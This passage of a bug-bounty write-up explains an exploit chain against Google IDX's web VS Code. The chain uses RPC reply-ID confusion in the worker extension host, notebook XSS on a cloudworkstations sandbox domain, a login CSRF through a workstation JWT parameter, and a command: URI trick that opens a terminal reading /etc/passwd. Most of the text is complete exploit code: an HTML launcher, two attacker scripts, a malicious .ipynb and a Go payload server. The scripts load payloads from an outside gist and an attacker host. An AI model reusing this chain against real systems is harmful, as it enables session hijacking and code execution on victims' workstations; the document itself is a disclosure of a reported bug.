Pasted image 20240717182131.png
It all came down to this only this.w (this._pendingRPCReplies)

Pasted image 20240717192305.png

Stepping more into it and specifically looking where this.w related code is

Pasted image 20240720121343.png
The above code might look familiar (if not to you it does looks familiar to me as I have looked at it so many times) the counterpart from sourcemap is

	private _receiveOneMessage(rawmsg: VSBuffer): void {
		if (this._isDisposed) {
			return;
		}

		const msgLength = rawmsg.byteLength;
		const buff = MessageBuffer.read(rawmsg, 0);
		const messageType = <MessageType>buff.readUInt8();
		const req = buff.readUInt32();

When messageType is equal to 9 it went to the below switch case

			case MessageType.ReplyOKJSON: {
				let value = MessageIO.deserializeReplyOKJSON(buff);
				if (this._uriTransformer) {
					value = transformIncomingURIs(value, this._uriTransformer);
				}
				this._receiveReply(msgLength, req, value);
				break;
			}

This calls _receiveReply

	private _receiveReply(msgLength: number, req: number, value: any): void {
		this._logger?.logIncoming(msgLength, req, RequestInitiator.LocalSide, `receiveReply:`, value);
		const callId = String(req);
		if (!this._pendingRPCReplies.hasOwnProperty(callId)) {
			return;
		}

		const pendingReply = this._pendingRPCReplies[callId];
		delete this._pendingRPCReplies[callId];

		pendingReply.resolveOk(value);
	}

Everything finally made fucking sense when I reached this method, in the _remoteCall method which is called before the fetch call is done. I explained that it sets the _pendingRPCReplies.

private _remoteCall(rpcId: number, methodName: string, args: any[]): Promise<any> {
       [...]
       [...]

		const serializedRequestArguments = MessageIO.serializeRequestArguments(args, this._uriReplacer);

		const req = ++this._lastMessageId;
		const callId = String(req);
		const result = new LazyPromise();

		const disposable = new DisposableStore();
		if (cancellationToken) {
			disposable.add(cancellationToken.onCancellationRequested(() => {
				const msg = MessageIO.serializeCancel(req);
				this._logger?.logOutgoing(msg.byteLength, req, RequestInitiator.LocalSide, `cancel`);
				this._protocol.send(MessageIO.serializeCancel(req));
			}));
		}

		this._pendingRPCReplies[callId] = new PendingRPCReply(result, disposable);
		this._onWillSendRequest(req);
		const msg = MessageIO.serializeRequest(req, rpcId, methodName, serializedRequestArguments, !!cancellationToken);
		this._logger?.logOutgoing(msg.byteLength, req, RequestInitiator.LocalSide, `request: ${getStringIdentifierForProxy(rpcId)}.${methodName}(`, args);
		this._protocol.send(msg);

The variable naming is also same, req same as what was used in _receiveReply and also both the values are also same in case of Gitlab which is 17

req = ++this._lastMessageId

So what actually happening here is that when _remoteCall is invoked for $asBrowserUri , this._lastMessageId value is 16 doing a pre increment operation on this stores 17 in the req variable.

The return value of PendingRPCReply method is stored at the 17 index of this._pendingRPCReplies.

Now when the worker message handler forwards this serialized message (which we sent from our attacker controlled page, this happens after the $asBrowserUri is done as described above, here the sequence is important)

'\t\x00\x00\x00I\x00\x00\x00O{"$mid":1,"path":"/1.js","scheme":"https","authority":"sudistark.github.io"}'

Using buff.readUInt32() the req value is retrieved which is 17 for the above message and when _receiveReply gets called !this._pendingRPCReplies.hasOwnProperty(callId) will be false because there is indeed a property 17.

Next call to pendingReply.resolveOk(value) sets the value for that rpc method which is then stored in browserUri and passed to the fetch call :)

Pasted image 20240718220926.png

Pasted image 20250729215328.png

Pasted image 20250729215505.png
Sample poc:


<iframe src="https://idx-test-1720965673823.cluster-fu5knmr55rd44vy7k7pxk74ams.cloudworkstations.dev/oss-6a96d5dc452450b1ad67667c4e503a014ef0a908/static/out/vs/workbench/services/extensions/worker/webWorkerExtensionHostIframe.html?&VSCodeWebWorkerExtHostId=0ab5c6f8-8898-4c17-a4b6-46b33d766d11&parentOrigin=http://127.0.0.1:1338"></iframe>
<script>
    // --- utils ---
    const decoder = new TextDecoder("utf-8")
    const decode = decoder.decode.bind(decoder)

    const encoder = new TextEncoder("utf-8")
    const encode = (str) => encoder.encode(str).buffer

    function hex2buf(hex) {
        hex = "0".repeat(hex.length % 2) + hex
        return new Uint8Array(hex.match(/[\da-f]{2}/gi).map(function (h) {
            return parseInt(h, 16)
        })).buffer
    }

    function buf2hex(buffer) {
        return [...new Uint8Array(buffer)].map(x => x.toString(16).padStart(2, '0')).join('');
    }

    async function fetch_text(...args) {
        const resp = await fetch(...args)
        return resp.text()
    }
    // --- end utils ---

    window.addEventListener("message", function add_port(e) {
        if (e.ports.length > 0) {
            window.removeEventListener("message", add_port)
            const port = e.ports[0]
            window.port = port
            port.onmessage = port_listener
            send_map()
        }
    })

    function send_map() {
        const map = new Map()
        const channel = new MessageChannel()
        map.set("gitlab.gitlab-web-ide", channel.port2)
        frames[0].postMessage({ "type": "VSCode.init", "data": map }, "*", [channel.port2])
    }

    let send_called = false
    function port_listener(e) {
        const rawmsg = e.data
        // console.log("%crecived: " + decode(rawmsg), "color: gray")

        if (!send_called && buf2hex(rawmsg) == "02") { // The message is an init message
            send_called = true
            send_everything()
        }
    }

    function sleep(ms) {
        return new Promise(resolve => {
            setTimeout(resolve, ms)
        })
    }
    async function send_everything() {
        const ms = Date.now();
        const hex_lines = (await fetch_text(`pwn-idx.txt?cacheB=${ms}`)).split("\r\n")
        await sleep(100)
        counter = 0
        for (hex of hex_lines) {
            const rawmsg = hex2buf(hex)
            // console.log("%csent: " + decode(rawmsg), "color: gray")
            port.postMessage(rawmsg)
            counter++
            await sleep(5)
        }
    }
</script>

Pasted image 20250730105114.png


Saga Continues..

Well the story doesn’t ends here and no you don’t need to wait another week for remaining part. Will continue from here only.

Even after I did confirmed and managed to build a working POC for Google IDX we still need to make it reproducible in default case as for testing locally I had disabled clickjacking protections which are enforced from the CSP

This is where Sreeram’s xss comes into play

XSS on *.cloudworkstations.googleusercontent.com

Jupyter Notebook comes to the rescue here,

Sample *.ipynb content that would allow XSS, applications supporting such files would often try to sanitize the markdown content or would render the html in a sandbox origin to avoid any xss issues.

{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": 0,
   "id": "37f81a85",
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<script>console.log('XSS in : '+ window.origin)</script>"
      ],
      "text/plain": []
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": []
  }
 ]
 }

In case IDX they are using a sandbox domain to render this https://0dmducp84q2pdhnsc5mctm6dkrg5796rjm7g95rga4s028s2gn3i.cloudworkstations.googleusercontent.com

Pasted image 20250730075551.png
*.cloudworkstations.googleusercontent.com wow so this is what we were looking for. As the frame-ancestors directive includes this wildcard domain it’s possible to use the xss via the Jupyter notebook to iframe the webWorkerExtensionHostIframe.html endpoint.

But there is one bummer, how can we place a malicious Jupyter notebook file in victim’s IDX instance. Sreeram and Sivanesh again comes to the rescue.

There’s actually one endpoint I should call it parameter which allows you to specify the location of the ipynb file which will automatically be fetched and rendered. This was originally found by Project Zero

Loading preview...



The same parameter also accepted http urls, so an attacker could specify his own server there which will be fetched and when rendered would allow xss. Below is the web server which they used and along with that they also found a RCE gadget related to handling of command: uris, these are special urls which are handled internally by VSCode you can check the advisory for details it’s a very cool gadget

// https://golang.org
package main

import "net/http"

const file = `{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<img src=a onerror=\"let q = document.createElement('a');q.href='command:workbench.action.terminal.new?
%7B%22config%22%3A%7B%22executable%22%3A%22vim%22%2C%22args%22%3A%5B%22%2Fetc%2Fpasswd%22%5D%
7D%7D';document.body.appendChild(q);q.click()\"/>"
   ]
  }
]}`

func Do() (err error) {
	return http.ListenAndServe(":http-alt" /* 8080 */, http.HandlerFunc(func(rw http.ResponseWriter, rq *http.Request) {
		rw.Header().Set("Access-Control-Allow-Origin", "*")
		rw.Write([]byte(file))
	}))
}

func main() {
	if err := Do(); err != nil {
		panic(err)
	}
}

The command: uri is an interesting attack surface you can find some other blogposts as well related to this for eg

Loading preview...



VSCode has so many features so if you are able to find an xss in the same origin as the VSCode web then it’s game over it will be an escalation of XSS to RCE just like we see in Electron application.

In case of IDX it doesn’t supports external urls :( we are limited to local filesystem only, so what we do here. Well the duo (Sreeram and Sivanesh) has a solution for this problem as well can you guess what is it? A Login CSRF

?payload=%5B%5B%22openFile%22,%22https://%5Bserver_location_goes_here%5D/something.ipynb%22

[["openFile","https://[server_location_goes_here]/something.ipynb"]

Change the location to match the absoule path in local file system 

Although the attacker could get an XSS in *.cloudworkstations.googleusercontent.com like described above, it is only accessible to the attacker, making it a self-XSS. To exploit it on the victim’s browser, the attacker needs to exploit a login CSRF in the IDX workstation.

This is possible by using the GET parameter _workstationAccessToken. When the victim sends a GET request with the attacker’s WorkstationJwt cookie in this parameter, they would be able to access the attacker’s IDX workstation, making the self-XSS exploitable in the victim’s browser.


var attacker_idx_workstation_domain = "idx-attacker-1722601960617.cluster-bec2e4635ng44w7ed22sa22hes.cloudworkstations.dev"
var path_to_exploit_ipynb = "/home/shirley/attacker/xss.ipynb"|
var attacker_workstation_jwt_cookie = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3...."

var folder = path_to_exploit_ipynb.substring(0,path_to_exploit_ipynb.lastIndexOf('/'))

var url = "https://"+attacker_idx_workstation_domain+"/?payload=[[%22openFile%22,%22VSCode-remote://"+path_to_exploit_ipynb+"%22]]&_workstationAccessToken="+attacker_workstation_jwt_cookie+"&folder="+folder;

vscode-remote scheme actually points to the local file system only

Example final url which the attacker needs to send to the victim:

https://idx-attacker-1722601960617.cluster-bec2e4635ng44w7ed22sa22hes.cloudworkstations.dev/?payload=[[%22openFile%22,%22VSCode-remote:///home/shirley/attacker/xss.ipynb%22]]&_workstationAccessToken=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3....&folder=/home/shirley/attacker

A sweet chain which includes the login CSRF as well the initial XSS which would trigger in the context of *.cloudworkstations.googleusercontent.com origin.


Putting Everything together

exploit.html


<html>
<body>
<script>
function openwindow(){
    var attacker_idx_workstation_domain = "idx-attacker-1722601960617.cluster-bec2e4635ng44w7ed22sa22hes.cloudworkstations.dev"
    var path_to_exploit_ipynb = "/home/user/attacker/xss.ipynb"
    var attacker_workstation_jwt_cookie = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwczovL2Nsb3VkLmdvb2dsZS5jb20vd29ya3N0YXRpb25zIiwiYXVkIjoiaWR4LWF0dGFja2VyLTE3MjI2MDE5NjA2MTcuY2x1c3Rlci1iZWMyZTQ2MzVuZzQ0dzdlZDIyc2EyMmhlcy5jbG91ZHdvcmtzdGF0aW9ucy5kZXYiLCJpYXQiOjE3MjI2MDIyMDcsImV4cCI6MTcyMjYwMjI2N30.JFihvbvC0vwDI3dEj_K5dMuM6XUaYp6yCdClbIztMQnWRG-GHFmrySbDoQCFUrzmhbMcPGqp0Ftf_n-I2XiLH4t2vdNRL6I3B2XUmjC3y16J-ToqDhXpEE7iXCZWxH6nzhEoJ6JVxlqm23FAZ9inmViV2irtL1BePHPtlBdVP3WJJ0vlJGynvW12xNS9VqAIeo1LjUKSLdmFcSACiYtNVfkzHmqkpwqSowx_VF8Cq6F6YOhwE4sX23p2F_cRsRKBkOecUAc2A-iKFOJ0VbyMeWDOrhV9ayqPuNzab6I_cdoZvSmEDBqgFjxSRg86_yFnMyxwPno4gy8ZuJ3-e8TNTw"

    var folder = path_to_exploit_ipynb.substring(0,path_to_exploit_ipynb.lastIndexOf('/'))
    var url = "https://"+attacker_idx_workstation_domain+"/?payload=[[%22openFile%22,%22VSCode-remote://"+path_to_exploit_ipynb+"%22]]&_workstationAccessToken="+attacker_workstation_jwt_cookie+"&folder="+folder;
    x = window.open(url);

    window.addEventListener("message", function(e) {
        if(e.data.action === "redirect") {
            window.location = e.data.url;
        }
    });
}
</script>
<button onclick=openwindow()>click</button>
</body>
</html>


The variable naming should be self explanatory. It populates the url to include the jwt cookie and the path to the ipynb file which contains the exploit code. We are opening this url in a new window.

At the same we are also setting up a message listener which is meant for redirecting this page.

script1.js

// Change this value to the victim's IDX workstation domain
var victim_idx_workstation_domain = 'idx-victim-1722601902976.cluster-qpa6grkipzc64wfjrbr3hsdma2.cloudworkstations.dev'

parentOrigin = parent.window.location.origin

ifr = document.createElement('iframe')
ifr.src = "https://"+victim_idx_workstation_domain+"/oss-6a96d5dc452450b1ad67667c4e503a014ef0a908/static/out/vs/workbench/services/extensions/worker/webWorkerExtensionHostIframe.html?parentOrigin="+parentOrigin
document.body.appendChild(ifr)

// --- start utils ---

const decoder = new TextDecoder("utf-8")
const decode = decoder.decode.bind(decoder)

const encoder = new TextEncoder("utf-8")
const encode = (str) => encoder.encode(str).buffer

// Converts hex to ArrayBuffer
function hex2buf(hex) {
    hex = "0".repeat(hex.length % 2) + hex
    return new Uint8Array(hex.match(/[\da-f]{2}/gi).map(function (h) {
        return parseInt(h, 16)
    })).buffer
}

// Converts ArrayBuffer to hex
function buf2hex(buffer) {
    return [...new Uint8Array(buffer)].map(x => x.toString(16).padStart(2, '0')).join('');
}

// Returns text output of a fetch response
async function fetch_text(...args) {
    const resp = await fetch(...args)
    return resp.text()
}

function sleep(ms) {
    return new Promise(resolve => {
        setTimeout(resolve, ms)
    })
}

// --- end utils ---

// Initiates postmessage communications
function send_map() {
    const map = new Map()
    const channel = new MessageChannel()
    map.set("idx.idx-web-ide", channel.port2)
    frames[0].postMessage({ "type": "VSCode.init", "data": map }, "*", [channel.port2])
}

let send_called = false
// Waits for the init message and then calls send_everything()
function port_listener(e) {
    const rawmsg = e.data
    // console.log("%crecived: " + decode(rawmsg), "color: gray")
    if (!send_called && buf2hex(rawmsg) == "02") { // The message is an init message
        send_called = true
        send_everything()
    }
}

// Fetches a list of postmessage data and sends them
async function send_everything() {
    const ms = Date.now();
    // One of the postmessages in the below file, contains a link to the JS file which contains the XSS payload that would be executed in the victim's idx workstation
    const hex_lines = (await fetch_text(`https://gist.githubusercontent.com/Sudistark/a643a2e8216e5a93f92bde9121333337/raw/b100c95bcb227ad70e64518ff370f3a07cc7a23f/pwn-idx.txt?cacheB=${ms}`)).split("\n")
    await sleep(100)
    for (hex of hex_lines) {
        const rawmsg = hex2buf(hex)
        // console.log("%csent: " + decode(rawmsg), "color: gray")
        port.postMessage(rawmsg)
        await sleep(5)
    }
}

// Obtains the port information and calls the send_map()
window.addEventListener("message", function add_port(e) {
    if (e.ports.length > 0) {
        window.removeEventListener("message", add_port)
        const port = e.ports[0]
        window.port = port
        port.onmessage = port_listener
        send_map()
    }
})

Everything is same as Matan’s poc only.

https://gist.githubusercontent.com/Sudistark/a643a2e8216e5a93f92bde9121333337/raw/b100c95bcb227ad70e64518ff370f3a07cc7a23f/pwn-idx.txt contains the hex encoded serialized rpc messages to trigger the XSS.

script2.js

if (top.window.opener) {
   // Change this to the full URL pointing to the script2.js file
    var script_url = 'https://<attacker-host>/script1.js';

    data = {action:"redirect",url:origin};
    top.window.opener.postMessage(data, '*');

    function sendExploit() {
        clearInterval(checkLocation);
        top.window.opener.document.body.innerHTML = `<iframe srcdoc="sss<script src='${script_url}'></script>"/>`
    }

    checkLocation = setInterval(() => {
        if(top.window.opener.origin == origin){
        sendExploit();
        }
    }, 100);
}

The exploit code in ipynb file would execute the above code , it basically loads the script2.js and also sends a postMessage to the top.window.opener page which points to the initial exploit.html endpoint. We are redirecting that page to the same *.cloudworkstations.googleusercontent.com origin as rest of exploitation will be happening there only

top.window.opener.document.body.innerHTM we are also modifying the source of that page to load the script1.js file there which does the actual exploitation part.

xss.ipynb

{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": 0,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": ["<script src='https://<attacker-host>/script2.js'></script>"],
      "text/plain": []
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    ""
   ]
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.9.6"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 5
}


One thing which I did extra was to make use of opener property to iframe the vulnerable endpoint there instead in the same Jupyter notebook renderer if I remember there was still some framing issues I tried going through the chats but I am missing what exactly was the cause which led to this. Well anyways rest of things should be easy to understand

And lastly here’s the VIDEO POC in action



Regarding the impact of this, the xss is in Worker context https://developer.mozilla.org/en-US/docs/Web/API/Worker , this context doesn’t have access to properties such as the DOM so proving the impact can be a bit difficult but it does supports fetch api this means you can make requests to read any response or invoke any requests.

Btw what if tell you that there is indeed a way to escalate a Worker based xss into a full blown one? It’s not my finding (I am not that skilled) but I can say one thing for sure the technique is super cooooooool :p , I will tag the person here Johan Carlsson ( @joaxcar ) (hehe hope you won’t mind ) go ahead and force him to write a blogpost about this.

The end result, Google was very generous with the bounty amount they even added a bonus also to this report :)

One of the many reasons why Google VRP is the best program out there

Pasted image 20250729220436.png

If you read till the last , I really appreciate that writing this blogpost really took a lot of time. As this was a finding from one year back I had forgotten most of the things at that time I played with minifies js so my notes were also not proper. For this blogpost as I wanted to explain everything I looked into this bug again and reproduce the bug from scratch which again took quite a time but as this time I had sourcemap with me things were a bit easy and I was able to understand more about how the pieces were moving.

Again I would like thanks Matan for the original discovery of this and also the duo (Sreeram and Sivanesh) without which this bug wouldn’t be complete :)